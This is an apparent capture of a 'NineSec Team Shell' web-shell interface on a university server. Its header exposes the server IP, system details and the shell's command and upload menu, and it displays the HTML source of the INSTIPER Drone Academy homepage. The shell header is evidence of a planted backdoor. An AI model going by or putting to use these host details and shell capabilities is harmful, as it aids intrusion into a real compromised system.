NineSec Team Shell

gzuncompress NineSec Team Shell NineSec Team Shell
Server IP : 202.10.35.111 / Your IP : 216.73.217.151
Web Server : Apache
System : Linux server.instiperjogja.ac.id 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : nobody ( 65534)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON
Directory (0750) : /home/backup/public_html/tracerstudy/../drone/
[ Home ]	[ C0mmand ]	[ Upload File ]	[ Lock Shell ]	[ Logout ]
Current File : /home/backup/public_html/tracerstudy/../drone/index.html
<!DOCTYPE html>
<html lang="en">

<head>

    <style>
        html {
          scroll-behavior: smooth;
        }
    </style>
	

    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
    <title>IDA | INSTIPER Drone Academy</title>
	
	<!-- Global site tag (gtag.js) - Google Analytics -->
	<script async src="https://www.googletagmanager.com/gtag/js?id=G-VDWPE1JFDM"></script>
		<script>
		  window.dataLayer = window.dataLayer || [];
		  function gtag(){dataLayer.push(arguments);}
		  gtag('js', new Date());

		  gtag('config', 'G-VDWPE1JFDM');
		</script>

    <!-- Favicons -->
    <link rel="shortcut icon" href="assets/images/favicon.ico">


    <!-- Vendor CSS (Icon Font) -->

    <!-- 
    <link rel="stylesheet" href="assets/css/vendor/fontawesome.min.css">
    <link rel="stylesheet" href="assets/css/vendor/pe-icon-7-stroke.min.css"> 
    -->

    <!-- Plugins CSS (All Plugins Files) -->

    <link rel="stylesheet" href="assets/css/plugins/splitting.min.css">
    <link rel="stylesheet" href="assets/css/plugins/animate.min.css">
    <link rel="stylesheet" href="assets/css/plugins/jquery-ui.min.css">
    <link rel="stylesheet" href="assets/css/plugins/nice-select.min.css">
    <link rel="stylesheet" href="assets/css/plugins/swiper-bundle.min.css">
    <link rel="stylesheet" href="assets/css/plugins/aos.min.css">
    <link rel="stylesheet" href="assets/css/plugins/odometer-theme-default.min.css"> 

    <!-- Main Style CSS -->

   
    <link rel="stylesheet" href="assets/css/style.css" /> 


    <!-- Use the minified version files listed below for better performance and remove the files listed above -->


    <link rel="stylesheet" href="assets/css/vendor.min.css">
    <link rel="stylesheet" href="assets/css/plugins.min.css">
    <link rel="stylesheet" href="assets/css/style.min.css">


</head>

<body>
<!-- Header Section Start -->
    <div class="header section" id="header">
        <!-- Header Bottom Start -->
        <div class="header-bottom section header-sticky">
            <div class="container">
                <nav class="navbar navbar-expand-lg navbar-light">
                    <div class="row align-items-center">
                        <!-- Header Logo Start -->
                        <div class="col-lg-2 col-4">
                            <div class="header-logo">
                            <a href="index.html"><img src="assets/images/logo/logo-2.png" alt="Site Logo"/></a>
                            </div>
                        </div>
						<div class="col-lg-2 col-4">
                            <div class="header-logo">
							<a href="index.html"><img src="assets/images/logo/logo.png" alt="Site Logo"/></a>	
                            </div>
                        </div>
                        <!-- Header Logo End -->

                        <!-- Header Menu Start -->
                        <div class="col-lg-8 col-4">
                            <!-- Main Menu Start -->
                            <div class="main-menu d-none d-sm-flex">
                                <ul>
                                    <li>
                                        <a href="index.html">Home</a>
                                    </li>
                                    <li>
                                        <a href="#about">About</a>
                                    </li>
                                    <li>
                                        <a href="#ourteam">Team</a>
                                    </li>
                                    <li>
                                        <a href="#research">Research</a>
                                    </li>
                                    <li>
                                        <a href="#blog">Blog</a>
                                    </li>
                                    <li>
                                        <a href="#contact">Contact</a>
                                    </li>
                                </ul>
                            </div>
                            <!-- Main Menu End -->

                            <!-- Main Menu Riht Side Start -->
                            <div class="main-menu-right-side d-flex d-lg-none">

                                <!-- Header Search Start -->
                                <div class="header-search mr-4">
                                    <a class="header-search-icon" href="#"><i class="fa fa-search"></i></a>
                                </div>
                                <!-- Header Search End -->

                                <!-- Mobile Menu Bar Start -->
                                <div class="mobile-menu-bar-wrapper">
                                    <a href="#" class="mobile-menu-bar"><i class="fa fa-bars"></i></a>
                                </div>
                                <!-- Mobile Menu Bar End -->

                            </div>
                            <!-- Main Menu Riht Side End -->

                        </div>
                        <!-- Header Menu End -->
                    </div>
                </nav>
            </div>
        </div>
        <!-- Header Bottom End -->

        <!-- Mobile Menu Start -->
        <div class="mobile-menu-wrapper">
            <div class="body-overlay"></div>
            <!-- Mobile Menu Inner Start -->
            <div class="mobile-menu-inner">

                <!-- Button Close Start -->
                <div class="btn-close-bar">
                    <i class="pe-7s-close"></i>
                </div>
                <!-- Button Close End -->

                <!-- mobile menu start -->
                <div class="mobile-navigation">
                    <nav>
                        <ul class="mobile-menu">
                            <li>
                                <a href="index.html">Home</a>
                            </li>
                            <li>
                                <a href="#about">About</a>
                            </li>
                            <li>
                                <a href="#ourteam">Our Team</a>
                            </li>
                            <li>
                                <a href="#research">Research</a>
                            </li>
                            <li>
                                <a href="#blog">Blog</a>
                            </li>
                            <li>
                                <a href="#contact">Contact</a>
                            </li>
                        </ul>
                    </nav>
                </div>
                <!-- mobile menu end -->

                <!-- Contact Links/Social Links Start -->
                <div class="mt-auto">
                    <!-- Contact Link Start -->
                    <ul class="contact-links">
                        <li><i class="fa fa-phone"></i><a href="#"> +62 81 333 998 867 (Admin)</a></li>
                        <li><i class="fa fa-envelope-o"></i><a href="#"> drone@instiperjogja.ac.id</a></li>
                        <li><i class="fa fa-clock-o"></i> <span>Monday - Friday 8.00 - 15.00</span> </li>
                    </ul>
                    <!-- Contact Link End -->

                    <!-- Social Widget Start -->
                    <div class="widget-social">
                        <a title="Facebook" href="#"><i class="fa fa-facebook-f"></i></a>
                        <a title="Twitter" href="#"><i class="fa fa-twitter"></i></a>
                        <a title="Linkedin" href="#"><i class="fa fa-linkedin"></i></a>
                        <a title="Youtube" href="#"><i class="fa fa-youtube"></i></a>
                    </div>
                    <!-- Social Widget End -->
                </div>
                <!-- Contact Links/Social Links End -->

            </div>
            <!-- Mobile Menu Inner End -->
        </div>
        <!-- Mobile Menu End -->

        <!-- Offcanvas Search Start -->
        <div class="offcanvas-search">
            <!-- Offcanvas Search Inner Start -->
            <div class="offcanvas-search-inner">
                <!-- Button Close Start -->
                <div class="btn-close-bar">
                    <i class="pe-7s-close"></i>
                </div>
                <!-- Button Close End -->

                <!-- Offcanvas Search Form Start -->
                <form class="offcanvas-search-form" action="#">
                    <input type="text" placeholder="Search Products...">
                </form>
                <!-- Offcanvas Search Form End -->

            </div>
            <!-- Offcanvas Search Inner End -->

        </div>
        <!-- Offcanvas Search End -->

    </div>
<!-- Header Section End -->

<!-- Hero/Intro Slider Start -->
    <div class="section">
        <div class="hero-slider swiper-container">
            <div class="swiper-wrapper">
                <div class="hero-slide-item swiper-slide">
                    <div class="hero-slide-bg">
        
                        <img src="assets/images/slider/1.jpg" alt="" />
                        <!-- <video width="100%" loop autoplay muted id="vid">
                            <source type="video/mp4" src="assets/images/slider/1.mp4"></source>
                            <source type="video/ogg" src="slide-2.ogg"></source>
                        </video> -->

                    </div>
                    <div class="container">
                        <div class="hero-slide-content">
                            <h2 class="title"> Flying With <br/> Our Drone </h2>
                            <a href="https://forms.gle/hWpt3gndF1XgsvKc9" class="btn btn-primary btn-hover-light">Bergabung</a>
                        </div>
                    </div>
                </div>

                <div class="hero-slide-item swiper-slide">
                    <div class="hero-slide-bg">

						<img src="assets/images/slider/2.jpg" alt="" />
                        <!-- <video width="100%" loop autoplay muted id="vid">
                            <source type="video/mp4" src="assets/images/slider/1.mp4"></source>
                            <source type="video/ogg" src="slide-2.ogg"></source>
                        </video> -->

                    </div>
                    <div class="container">
                        <div class="hero-slide-content">
                            <h2 class="title"> We Spray <br/> Your Whole Field </h2>
                            <a href="https://forms.gle/hWpt3gndF1XgsvKc9" class="btn btn-primary btn-hover-light">Bergabung</a>
                        </div>
                    </div>
                </div>
            </div>

            <div class="swiper-pagination"></div>

            <div class="home-slider-prev swiper-button-prev main-slider-nav"><i class="fa fa-angle-left"></i></div>
            <div class="home-slider-next swiper-button-next main-slider-nav"><i class="fa fa-angle-right"></i></div>
        </div>
    </div>
<!-- Hero/Intro Slider End -->

<!-- About Section Start -->
    <div class="section section-padding bg-secondary" id="about">
        <div class="container">
            <!-- About Image/Content Start -->
            <div class="about-image-content-area">
                <div class="row align-items-center mb-n6">
                    <div class="col-lg-6 order-lg-1 order-2 mb-6" data-aos="fade-up" data-aos-delay="300">
                        <!-- About Content Start -->
                        <div class="about-content-area">
                            <h2 class="title" style="color:white">Hi, Welcome Home!</h2>
                            <p class="mb-5 mb-md-8 mt-4" style="color:white" align="justify">
							
							Selamat datang di INSTIPER Drone Academy, INSTIPER Drone Academy (IDA) merupakan salah satu dari fasilitas yang disediakan oleh INSTIPER untuk mendukung perkembangan civitas institut dalam perkembangan Unmanned Aerial Vehicle (UAV) khususnya di bidang pertanian.
							
							</p>
                            <a href="about.html" class="btn btn-primary btn-hover-light">Baca Selengkapnya</a>
                        </div>
                        <!-- About Content End -->
                    </div>
                    <div class="col-lg-6 order-lg-2 order-1 mb-6" data-aos="fade-up" data-aos-delay="400">
                        <div class="about-image">
                            <img src="assets/images/about/1.png" alt="About Image">
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
<!-- About Section End -->

<!-- Training Section Start -->
    <div class="section section-padding bg-secondary" id="about">
        <div class="container">
            <!-- Training Image/Content Start -->
            <div class="about-image-content-area">
                <div class="row align-items-center mb-n6">
                    
					<div class="col-lg-6 order-lg-1 order-1 mb-6" data-aos="fade-up" data-aos-delay="400">
                        <div class="about-image">
                            <img src="assets/images/about/2.jpg" alt="About Image">
                        </div>
                    </div>
					
					<div class="col-lg-6 order-lg-2 order-2 mb-6" data-aos="fade-up" data-aos-delay="300">
                        <!-- Training Content Start -->
                        <div class="about-content-area">
                            <h2 class="title" style="color:white">Pelatihan Drone</h2>
                            <p class="mb-5 mb-md-8 mt-4" style="color:white" align="justify">
							
							Pelatihan Drone dapat meningkatkan kompetensi keahlian, kreatifitas dan kesenangan. Untuk mendapatkan pengetahuan yang lebih, silahkan bergabung bersama kami dengan menekan tombol dibawah ini.
							
							</p>
							
                            <a href="https://forms.gle/hWpt3gndF1XgsvKc9" class="btn btn-primary btn-hover-light">Bergabung</a>
                        </div>
                        <!-- Training Content End -->
                    </div>
                    
                </div>
            </div>
        </div>
    </div>
<!-- Training Section End -->

<!-- Team Section Start -->
<div class="section section-padding overflow-hidden" id="ourteam">
    <div class="container">
        <div class="row">
            <!-- Section Title Start -->
            <div class="col-12 section-title" data-aos="fade-up" data-aos-delay="300">
                <h2 class="title">Our Team</h2>
                <span></span> 
            </div>
            <!-- Section Title End -->
        </div>
        <div class="row row-cols-sm-2 row-cols-lg-3 row-cols-1 mb-n6">
            <!-- Team Members Area Start -->
            <div class="col mb-6">
                <!-- Single Team member Start -->
                <div class="single-team-member" data-aos="fade-up" data-aos-delay="300">
                    <!-- Team Member Images Start -->
                    <div class="team-member-image">
                        <img src="assets/images/team/1.jpg" alt="Team Member">
                    </div>
                    <!-- Team Member Images End -->

                    <!-- Team Member Name/Social Identity Start -->
                    <div class="team-member-content">
                        <h2 class="name">Dr. Ir. Harsawardana, M.Eng.</h2>
                        <span class="text">Head of INSTIPER Drone Academy</span>
                        <ul class="social-widgets">
                            <li>
                                <a href="https://www.facebook.com"><i class="fa fa-facebook"></i></a>
                            </li>
                            <li>
                                <a href="https://www.twitter.com"><i class="fa fa-twitter"></i></a>
                            </li>
                            <li>
                                <a href="https://www.linkedin.com"><i class="fa fa-linkedin"></i></a>
                            </li>
                        </ul>
                    </div>
                    <!-- Team Member Name/Social Identity End -->
                </div>
                <!-- Single Team member End -->
            </div>

            <div class="col mb-6">
                <!-- Single Team member Start -->
                <div class="single-team-member" data-aos="fade-up" data-aos-delay="400">
                    <!-- Team Member Images Start -->
                    <div class="team-member-image">
                        <img src="assets/images/team/2.jpg" alt="Team Member">
                    </div>
                    <!-- Team Member Images End -->

                    <!-- Team Member Name/Social Identity Start -->
                    <div class="team-member-content">
                        <h2 class="name">Teddy Suparyanto, S.Pd., MTI.</h2>
                        <span class="text">Head of Research Department</span>
                        <ul class="social-widgets">
                            <li>
                                <a href="https://www.facebook.com"><i class="fa fa-facebook"></i></a>
                            </li>
                            <li>
                                <a href="https://www.twitter.com"><i class="fa fa-twitter"></i></a>
                            </li>
                            <li>
                                <a href="https://www.linkedin.com"><i class="fa fa-linkedin"></i></a>
                            </li>
                        </ul>
                    </div>
                    <!-- Team Member Name/Social Identity End -->
                </div>
                <!-- Single Team member End -->
            </div>

            <div class="col mb-6">
                <!-- Single Team member Start -->
                <div class="single-team-member" data-aos="fade-up" data-aos-delay="500">
                    <!-- Team Member Images Start -->
                    <div class="team-member-image">
                        <img src="assets/images/team/3.jpg" alt="Team Member">
                    </div>
                    <!-- Team Member Images End -->

                    <!-- Team Member Name/Social Identity Start -->
                    <div class="team-member-content">
                        <h2 class="name">Hendi Suprihono, S.Pd.</h2>
                        <span class="text">Electronic Engineer - FPV Pilot</span>
                        <ul class="social-widgets">
                            <li>
                                <a href="https://www.facebook.com/hendi.fya"><i class="fa fa-facebook"></i></a>
                            </li>
                            <li>
                                <a href="https://www.twitter.com/hendisuprihono"><i class="fa fa-twitter"></i></a>
                            </li>
                            <li>
                                <a href="https://www.linkedin.com/in/hendisuprihono"><i class="fa fa-linkedin"></i></a>
                            </li>
                        </ul>
                    </div>
                    <!-- Team Member Name/Social Identity End -->
                </div>
                <!-- Single Team member End -->
            </div>              
        </div>


		<div class="col-12 section-title" data-aos="fade-up" data-aos-delay="300">
			<div class="section-title pt-5">

            <a href="our-team.html" class="btn btn-hover-secondary btn-primary">Baca Selengkapnya</a>

			</div>
        </div>
		
    </div>
</div>
<!-- Team Section End -->

<!-- Research Section Start -->
    <div class="section section-padding bg-secondary" id="research">
        <div class="container">
            <div class="row">
                <!-- Section Title Start -->
                <div class="col-12 section-title" data-aos="fade-up" data-aos-delay="300">
                    <h2 class="title text-white">Our Research</h2>
                    <span></span>
                </div>
                <!-- Section Title End -->

            </div>
            <div class="row row-cols-sm-2 row-cols-lg-3 row-cols-1 mb-n6">

				<!-- Single Research Start -->
                <div class="class="col mb-6">
                    <div class="single-project" data-aos="fade-up" data-aos-delay="300">
                        <div class="project-image">
                            <a class="project-overlay" href="project-details-4.html">
                                <img src="assets/images/project/project-image-lg-4.jpg" alt="Project Image">
                            </a>
                        </div>
                        <div class="project-content">
                            <h4 class="title text-white"><a href="project-details-4.html">
							
							Perancangan Drone Hexacopter Untuk Mendeteksi Kualitas Air Sungai Citarum
							
							</a></h4>
                            <p style="color:white">
							
							Research Author : Shofiyyullah, S.T.
							
							</p>
                        </div>
                    </div>
                </div>
                <!-- Single Research End -->

				<!-- Single Research Start -->
                <div class="class="col mb-6">
                    <div class="single-project" data-aos="fade-up" data-aos-delay="400">
                        <div class="project-image">
                            <a class="project-overlay" href="project-details-3.html">
                                <img src="assets/images/project/project-image-lg-3.jpg" alt="Project Image">
                            </a>
                        </div>
                        <div class="project-content">
                            <h4 class="title text-white"><a href="project-details-3.html">
							
							Aplikasi Machine Vision pada Hexacopter untuk Deteksi Survival Kits di Bidang Mitigasi Bencana
							
							</a></h4>
                            <p style="color:white">
							
							Research Author : Ismawan Noor Ikhsan, S.T.
							
							</p>
                        </div>
                    </div>
                </div>
                <!-- Single Research End -->

                <!-- Single Research Start -->
                <div class="class="col mb-6">
                    <div class="single-project" data-aos="fade-up" data-aos-delay="500">
                        <div class="project-image">
                            <a class="project-overlay" href="project-details-2.html">
                                <img src="assets/images/project/project-image-lg-2.jpg" alt="Project Image">
                            </a>
                        </div>
                        <div class="project-content">
                            <h4 class="title text-white"><a href="project-details-2.html">
							
							Analisis Citra Drone Untuk Monitoring Kesehatan Tanaman Kelapa Sawit
							
							</a></h4>
                            <p style="color:white">
							
							Research Author : Arief Ika Uktoro, S.TP., M.Sc
							
							</p>
                        </div>
                    </div>
                </div>
                <!-- Single Research End -->
            </div>
        
		
		<div class="col-12 section-title" data-aos="fade-up" data-aos-delay="300">
			<div class="section-title pt-5">
				<a href="project-grid-1.html" class="btn btn-primary btn-hover-light">Baca Selengkapnya</a>
			</div>
        </div>
		
		
		</div>
    </div>
<!-- Research Section End --> 

<!-- Blog Section Start -->
<div class="section section-padding overflow-hidden" id="blog">
    <div class="container">

        <!-- Section Title Start -->
        <div class="col-12 section-title" data-aos="fade-up" data-aos-delay="300">
            <h2 class="title">Blog</h2>
            <span></span>
			<p class="sub-title">We post our news, event, article, and etc. in this section</p>
        </div>
        <!-- Section Title End -->

        <div class="row row-cols-lg-3 row-cols-md-2 row-cols-1 mb-n6">

		<div class="col mb-6">
                <!-- Blog Single Post Start -->
                <div class="blog-single-post-wrapper" data-aos="fade-up" data-aos-delay="500">
                    <div class="blog-thumb">
                        <a class="blog-overlay" href="blog-details-43.html">
                            <img src="assets/images/blog/blog-post/43.jpg" alt="Blog Post">
                        </a>
                    </div>
                    <div class="blog-content">
                        <div class="post-meta">
                            <span>By : <a href="#">Admin</a></span>
                            <span>27 Maret 2023</span>
                        </div>
                        <h3 class="title"><a href="blog-details-43.html">
						
						Tips Menerbangkan Drone DJI di Atas Air Dengan Aman
						
						</a></h3>
                        <p style="text-align: justify">
						
						Menerbangkan drone di atas air untuk mengambil gambar sunset atau sunrise memang sangat menyenangkan sebagai rekreasi. Namun menerbangkan drone di atas air memiliki risiko lebih besar. Seperti ombak yang besar, perahu bergoyang, angin yang kencang bahkan burung. DJI selaku produsen pesawat drone sendiri tidak menyarankan.	</p>
                    </div>
                </div>
                <!-- Blog Single Post End -->
            </div>
			<div class="col mb-6">
                <!-- Blog Single Post Start -->
                <div class="blog-single-post-wrapper" data-aos="fade-up" data-aos-delay="300">
                    <div class="blog-thumb">
                        <a class="blog-overlay" href="blog-details-42.html">
                            <img src="assets/images/blog/blog-post/42.jpg" alt="Blog Post">
                        </a>
                    </div>
                    <div class="blog-content">
                        <div class="post-meta">
                            <span>By : <a href="#">Admin</a></span>
                            <span>11 Maret 2023</span>
                        </div>
                        <h3 class="title"><a href="blog-details-42.html">
						
						Pemanfaatan Drone di Operasi Tambang
						
						</a></h3>
                        <p style="text-align: justify">
						
					Pemanfaatan drone di area pertambangan yang paling umum atau sering dilakukan di operasi tambang ialah untuk menghitung volume ataupun pengukuran kontur. Metode pengambilan datanya dengan menggunakan fotogrametri ataupun teknologi lidar. 		</p>
                    </div>
                </div>
                <!-- Blog Single Post End -->
            </div>

			<div class="col mb-6">
                <!-- Blog Single Post Start -->
                <div class="blog-single-post-wrapper" data-aos="fade-up" data-aos-delay="400">
                    <div class="blog-thumb">
                        <a class="blog-overlay" href="blog-details-41.html">
                            <img src="assets/images/blog/blog-post/41.jpg" alt="Blog Post">
                        </a>
                    </div>
                    <div class="blog-content">
                        <div class="post-meta">
                            <span>By : <a href="#">Admin</a></span>
                            <span>27 February 2023</span>
                        </div>
                        <h3 class="title"><a href="blog-details-41.html">
						
						Manfaat Drone pada kepesisiran dan kelautan
						
						</a></h3>
                        <p style="text-align: justify">
						
						Pada bidang kepesisiran dan kelautan, citra foto udara yang di hasilkan ini dapat dimanfaatkan untuk menganalisis perubahan fisik pesisir. Berdasarkan pengamatan tersebut dapat di ketahui perubahan komposisi dan distribusi vegetasi, akresi juga abrasi pantai.. 	
						</p>
                    </div>
                </div>
                <!-- Blog Single Post End -->
            </div>

        </div>
		
		<div class="col-12 section-title" data-aos="fade-up" data-aos-delay="300">
			<div class="section-title pt-5">

            <a href="blog-right-sidebar-1.html" class="btn btn-hover-secondary btn-primary">Baca Selengkapnya</a>

			</div>
        </div>
		
    </div>
</div>
<!-- Blog Section End -->

<!-- Testimonial Section Start -->
    <div class="section bg-secondary brand-logo-bg">
        <div class="container">
            <div class="row">
                <!-- Section Title Start -->
                <div class="col-12 section-title" data-aos="fade-up" data-aos-delay="300">
                    <h2 class="title" style="color:white">Testimonials</h2>
					<span><span>
                </div>
                <!-- Section Title End -->
            </div>
            <div class="row">
                <div class="col">
                    <div class="testimonial-carousel">
                        <div class="swiper-container">
                            <div class="swiper-wrapper">

                                <!-- Single Testimonial Start -->
								
                                <div class="swiper-slide">
                                    <div class="testimonial" data-aos="fade-up" data-aos-delay="400">
										<div class="text">
                                            <p>"Dari tidak bisa, menjadi bisa. Terima kasih Drone Academy."</p>
                                        </div>
                                        <div class="thumb">
                                            <img src="assets/images/testimonial/4.jpg" alt="Testimonial Image">
                                            <div class="name">
                                                <h2 class="title" style="color:white">Akbar Abdul Wahid & Dio Ramadhani</h2>
                                                <h4 class="sub-title" style="color:white">Mahasiswa Perkebunan Kelapa Sawit</h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
								<!-- Single Testimonial End -->
							
								<!-- Single Testimonial Start -->
                                <div class="swiper-slide">
                                    <div class="testimonial" data-aos="fade-up" data-aos-delay="300">
                                        <div class="text">
                                            <p>"Teknologi UAV sangat menjanjikan untuk diaplikasikan dan dikembangkan sesuai karakteristik topografis dan geografis Indonesia terutama untuk areal yang luas seperti perkebunan kelapa sawit. IDA merupakan salah satu wadah yang tepat untuk memperdalam pengetahuan tentang UAV."</p>
                                        </div>
                                        <div class="thumb">
                                            <img src="assets/images/testimonial/1.jpg" alt="Testimonial Image">
                                            <div class="name">
                                                <h2 class="title" style="color:white">Arief Ika Uktoro, S.TP., M.Sc.</h2>
                                                <h4 class="sub-title" style="color:white">INSTIPER Lecturer</h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <!-- Single Testimonial End -->

								<!-- Single Testimonial Start -->
                                <div class="swiper-slide">
                                    <div class="testimonial" data-aos="fade-up" data-aos-delay="500">
                                        <div class="text">
                                            <p>"Perlunya menggunakan technology UAV untuk mengatasi beberapa masalah yang terjadi di lapangan. IDA merupakan trobosan yang sangat bagus untuk INSTIPER."</p>
                                        </div>
                                        <div class="thumb">
                                            <img src="assets/images/testimonial/2.jpg" alt="Testimonial Image">
                                            <div class="name">
                                                <h2 class="title" style="color:white">Dedi Ali Mustafa, S. Hut.</h2>
                                                <h4 class="sub-title" style="color:white">GIS Manager RAPP</h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <!-- Single Testimonial End -->

                                <!-- Single Testimonial Start -->
                                <div class="swiper-slide">
                                    <div class="testimonial" data-aos="fade-up" data-aos-delay="400">
										<div class="text">
                                            <p>"Saya mempelajari banyak hal tentang drone di Drone Academy. Selain digunakan untuk fotografi, drone juga dapat membantu beberapa kegiatan di kebun, seperti pemetaan, mengecek kondisi lahan, monitoring kondisi tanaman, pemupukan dan masih banyak lagi."</p>
                                        </div>
                                        <div class="thumb">
                                            <img src="assets/images/testimonial/3.jpg" alt="Testimonial Image">
                                            <div class="name">
                                                <h2 class="title" style="color:white">Julio Gozi</h2>
                                                <h4 class="sub-title" style="color:white">Mahasiswa Teknik Informatika Perkebunan</h4>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <!-- Single Testimonial End -->
								
                            </div>

                            <!-- pagination -->
                            <div class="swiper-pagination"></div>

                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
<!-- Testimonial Section End -->

<!-- Brand Logo Section Start -->
<div class="section section-padding">
        <div class="container">
            <div class="row">
                <div class="col">

                    <div class="brand-logo-carousel text-center">
                        <div class="swiper-container">
                            <div class="swiper-wrapper align-items-center">

                                <!-- Single Brand Logo Start -->
                                <div class="swiper-slide">
                                    <div class="brand-logo" data-aos="fade-up" data-aos-delay="300">
                                        <img src="assets/images/brand-logo/1.jpg" alt="Brand Logo">
                                    </div>
                                </div>
                                <!-- Single Brand Logo End -->

                                <!-- Single Brand Logo Start -->
                                <div class="swiper-slide">
                                    <div class="brand-logo" data-aos="fade-up" data-aos-delay="400">
										<a class="project-overlay" href="https://www.aprilasia.com/id/">
											<img src="assets/images/brand-logo/2.jpg" alt="Brand Logo">
										</a>
                                    </div>
                                </div>
                                <!-- Single Brand Logo End -->

                                <!-- Single Brand Logo Start -->
                                <div class="swiper-slide">
                                    <div class="brand-logo" data-aos="fade-up" data-aos-delay="500">
										<a class="project-overlay" href="https://www.fulldronesolutions.com">
											<img src="assets/images/brand-logo/1.jpg" alt="Brand Logo">
										</a>
                                    </div>
                                </div>
                                <!-- Single Brand Logo End -->

                                <!-- Single Brand Logo Start -->
                                <div class="swiper-slide">
                                    <div class="brand-logo" data-aos="fade-up" data-aos-delay="600">
                                        <img src="assets/images/brand-logo/2.jpg" alt="Brand Logo">
                                    </div>
                                </div>
                                <!-- Single Brand Logo End -->

                                <!-- Single Brand Logo Start -->
                                <div class="swiper-slide">
                                    <div class="brand-logo" data-aos="fade-up" data-aos-delay="700">
                                        <img src="assets/images/brand-logo/1.jpg" alt="Brand Logo">
                                    </div>
                                </div>
                                <!-- Single Brand Logo End -->

                            </div>

                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
<!-- Brand Logo Section End -->

    <footer class="section footer-section bg-secondary" id="contact">
        <!-- Footer Top Start -->
        <div class="footer-top">
            <div class="container">
                <div class="row mb-n10">
                    <div class="col-9 col-sm-6 col-lg-3 col-xl-4 mb-10">
                        <div class="single-footer-widget">
                            <div class="footer-logo">
                                <a href="index.html">
                                    <img src="assets/images/logo/footer-logo.png" alt="Logo Image" width="70%">
                                </a>
                            </div>
							<p class="desc-content pt-5 pb-3">Institut Pertanian Stiper (INSTIPER) Yogyakarta.</p>
								<div class="widget-body">
									<ul class="widget-address pb-2">
										<li><i class="fa fa-map-o"></i><span>Nangka II, Krodan, Maguwoharjo, Depok, Sleman</span></li>
										<li><i class="fa fa-phone"></i><a href="#">+62 81 333 998 867 (Admin)</a></li>
										<li><i class="fa fa-envelope-o"></i><a href="mailto:drone@instiperjogja.ac.id" title="drone@instiperjogja.ac.id">drone@instiperjogja.ac.id</a></li>
									</ul>
								</div>
							</p>
						</div>
                    </div>
                    <div class="col-9 col-sm-6 col-lg-4 col-xl-4 mb-10">
                        <div class="single-footer-widget">
                            <!-- Maps Start -->
                            <h2 class="widget-title">Maps</h2>
                            <div class="widget-body pt-5">
								<iframe
								src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d850.4968771944882!2d110.42480904822018!3d-7.761766807389429!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x2e7a5987e68e92df%3A0xa1a1cb6c3b12139e!2sPilot%20Plant!5e0!3m2!1sen!2sid!4v1615365317816!5m2!1sen!2sid" width="350" height="200" style="border:0;" allowfullscreen="" loading="lazy">
								</iframe>
                            </div>
                            <!-- Maps End -->
                        </div>
                    </div>
                    <div class="col-9 col-sm-6 col-lg-4 col-xl-4 mb-10">
                        <div class="single-footer-widget">
                            <h2 class="widget-title">Get in Touch</h2>
                            <div class="widget-body pt-5">
                                <p class="desc-content mb-0">Enter your email and receive the latest news from us.</p>

                                <!-- Newsletter Form Start -->
                                <div class="newsletter-form-wrap pt-4">
                                    <form id="mc-form" class="mc-form">
                                        <input type="email" id="mc-email" class="form-control email-box" placeholder="Insert your email here" name="EMAIL">
                                        <button id="mc-submit" class="newsletter-btn" type="submit"><i class="fa fa-envelope"></i></button>
                                    </form>
                                    <!-- mailchimp-alerts Start -->
                                    <div class="mailchimp-alerts text-centre">
                                        <div class="mailchimp-submitting"></div><!-- mailchimp-submitting end -->
                                        <div class="mailchimp-success text-success"></div><!-- mailchimp-success end -->
                                        <div class="mailchimp-error text-danger"></div><!-- mailchimp-error end -->
                                    </div>
                                    <!-- mailchimp-alerts end -->
                                </div>
                                <!-- Newsletter Form End -->

                                <!-- Soclial Link Start -->
                                <div class="widget-social justify-content-start mt-6">
                                    <a title="Facebook" href="https://www.facebook.com/profile.php?id=100063403879179"><i class="fa fa-facebook-f"></i></a>
                                    <a title="Twitter" href="https://twitter.com/si_instiper"><i class="fa fa-twitter"></i></a>
                                    <a title="Linkedin" href="https://www.linkedin.com/company/institut-pertanian-stiper-yogyakarta-instiper"><i class="fa fa-linkedin"></i></a>
                                    <a title="Youtube" href="https://www.youtube.com/channel/UCu8weLhj1PII4a82RlDppMA"><i class="fa fa-youtube"></i></a>
                                </div>
                                <!-- Social Link End -->
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- Footer Top End -->

        <!-- Footer Bottom Start -->
        <div class="container">
            <div class="row align-items-center footer-bottom">
                <div class="col-12 text-center">
                    <div class="copyright-content">
                        <p class="mb-0">Copyright © 2021 <a href="https://www.instiperjogja.ac.id/">INSTIPER Yogyakarta.</a> All Rights Reserved.</p>
                    </div>
                </div>
            </div>
        </div>
        <!-- Footer Bottom End -->
    </footer>

<!-- Scroll Top Start -->
    <a href="#" class="scroll-top" id="scroll-top">
        <i class="arrow-top fa fa-long-arrow-up"></i>
        <i class="arrow-bottom fa fa-long-arrow-up"></i>
    </a>
<!-- Scroll Top End -->

    <!-- Scripts -->
    <!-- Global Vendor, plugins JS -->

    <!-- Vendors JS -->

    <!--     
    <script src="assets/js/vendor/bootstrap.bundle.min.js"></script>
    <script src="assets/js/vendor/jquery-3.5.1.min.js"></script>
    <script src="assets/js/vendor/jquery-migrate-3.3.0.min.js"></script>
    <script src="assets/js/vendor/modernizr-3.11.2.min.js"></script> 
    -->

    <!-- Plugins JS -->

    <!--     
    <script src="assets/js/plugins/splitting.min.js"></script>
    <script src="assets/js/plugins/swiper-bundle.min.js"></script>
    <script src="assets/js/plugins/aos.min.js"></script>
    <script src="assets/js/plugins/nice-select.min.js"></script>
    <script src="assets/js/plugins/jquery.ajaxchimp.min.js"></script>
    <script src="assets/js/plugins/jquery-ui.min.js"></script>
    <script src="assets/js/plugins/masonry.min.js"></script>
    <script src="assets/js/plugins/odometer.min.js"></script> 
    -->

    <!-- Use the minified version files listed below for better performance and remove the files listed above -->


    <script src="assets/js/vendor.min.js"></script>
